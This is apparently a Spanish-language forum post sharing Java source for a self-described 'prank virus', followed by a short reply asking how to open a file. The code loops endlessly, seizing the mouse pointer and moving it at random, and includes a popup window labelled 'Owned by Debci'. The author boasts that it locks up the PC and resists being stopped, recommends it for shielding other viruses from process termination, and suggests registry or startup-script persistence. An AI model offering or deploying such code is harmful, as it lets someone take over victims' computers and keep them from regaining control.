Codigo para todos, acabo de crear un mini virus de broma:
Y el codigo de MSGBox:
Si compilamos tendremos una bonita broma en la cual no parand e abrirse ventanas y ademas no se puede controlar el raton, es inestable, y si subimos mucho el bucle puede saturar el pc(comprobado) ademas de no poder controlar el raton y no pode rparar el proceso.
Digamos que es un buen metodo para proteger vuestros virus de posibles cortadas de procesos.
Si le echamos imagiancion y hacemos que se añada al registro ni un apagado acabara con nuestra ejecucion (en el caso de linux, seria cuestion de añadirlo al script de inicio).
Saludos
Código (java) [Seleccionar]
package robot;
import java.awt.AWTException;
import java.awt.MouseInfo;
import java.awt.Robot;
import java.awt.Robot.*;
import java.util.Random;
import java.util.logging.Level;
import java.util.logging.Logger;
/**
*
* @author debci
*/
public class Raton {
private static int x;
private static int y;
private static int y_box;
private static int x_box;
private static MSGBox msg;
public static void main(String args[]) {
for(int i = 2;i > 1;i++) {
try {
y_box++;
x_box++;
System.out.println(MouseInfo.getPointerInfo().getLocation().getX());
System.out.println(MouseInfo.getPointerInfo().getLocation().getY());
Robot robot = new Robot();
Random y_random = new Random();
Random x_random = new Random();
x = x_random.nextInt() * x_random.nextInt() / 2 + i;
y = (y_random.nextInt()* x / x_random.nextInt());
robot.mouseMove(x * 100, y * 100);
robot.delay(1000);
//msg = new MSGBox();
//msg.setVisible(true);
//msg.setLocation(y_box * 100, x_box * 100);
} catch (AWTException ex) {
Logger.getLogger(Raton.class.getName()).log(Level.SEVERE, null, ex);
}
}
}
}
Y el codigo de MSGBox:
Código (java) [Seleccionar]
/*
* MSGBox.java
*
* Created on 26-nov-2009, 18:29:57
*/
package robot;
/**
*
* @author debci
*/
public class MSGBox extends javax.swing.JFrame {
/** Creates new form MSGBox */
public MSGBox() {
initComponents();
}
/** This method is called from within the constructor to
* initialize the form.
* WARNING: Do NOT modify this code. The content of this method is
* always regenerated by the Form Editor.
*/
@SuppressWarnings("unchecked")
// <editor-fold defaultstate="collapsed" desc="Generated Code">
private void initComponents() {
jLabel1 = new javax.swing.JLabel();
jButton1 = new javax.swing.JButton();
jLabel2 = new javax.swing.JLabel();
setDefaultCloseOperation(javax.swing.WindowConstants.EXIT_ON_CLOSE);
addKeyListener(new java.awt.event.KeyAdapter() {
public void keyPressed(java.awt.event.KeyEvent evt) {
formKeyPressed(evt);
}
});
jLabel1.setText("Owned by Debci");
jButton1.setText("Pos vale...");
jLabel2.setText("The power of programming!");
javax.swing.GroupLayout layout = new javax.swing.GroupLayout(getContentPane());
getContentPane().setLayout(layout);
layout.setHorizontalGroup(
layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(layout.createSequentialGroup()
.addContainerGap()
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addComponent(jLabel1)
.addComponent(jLabel2)
.addComponent(jButton1))
.addContainerGap(211, Short.MAX_VALUE))
);
layout.setVerticalGroup(
layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(layout.createSequentialGroup()
.addContainerGap()
.addComponent(jLabel1)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(jLabel2)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED, 14, Short.MAX_VALUE)
.addComponent(jButton1)
.addContainerGap())
);
pack();
}// </editor-fold>
private void formKeyPressed(java.awt.event.KeyEvent evt) {
System.out.println("Se ha presionado la tecla " + evt.getKeyText(evt.getKeyCode()));
}
/**
* @param args the command line arguments
*/
public static void main(String args[]) {
javax.swing.JFrame.setDefaultLookAndFeelDecorated(true);
java.awt.EventQueue.invokeLater(new Runnable() {
public void run() {
new MSGBox().setVisible(true);
}
});
}
// Variables declaration - do not modify
private javax.swing.JButton jButton1;
private javax.swing.JLabel jLabel1;
private javax.swing.JLabel jLabel2;
// End of variables declaration
}
Si compilamos tendremos una bonita broma en la cual no parand e abrirse ventanas y ademas no se puede controlar el raton, es inestable, y si subimos mucho el bucle puede saturar el pc(comprobado) ademas de no poder controlar el raton y no pode rparar el proceso.
Digamos que es un buen metodo para proteger vuestros virus de posibles cortadas de procesos.
Si le echamos imagiancion y hacemos que se añada al registro ni un apagado acabara con nuestra ejecucion (en el caso de linux, seria cuestion de añadirlo al script de inicio).
Saludos

se abra ese archivo? esque si lo selecciona pero no lo abre??? se usaria el presionado de la tecla enter?? o como???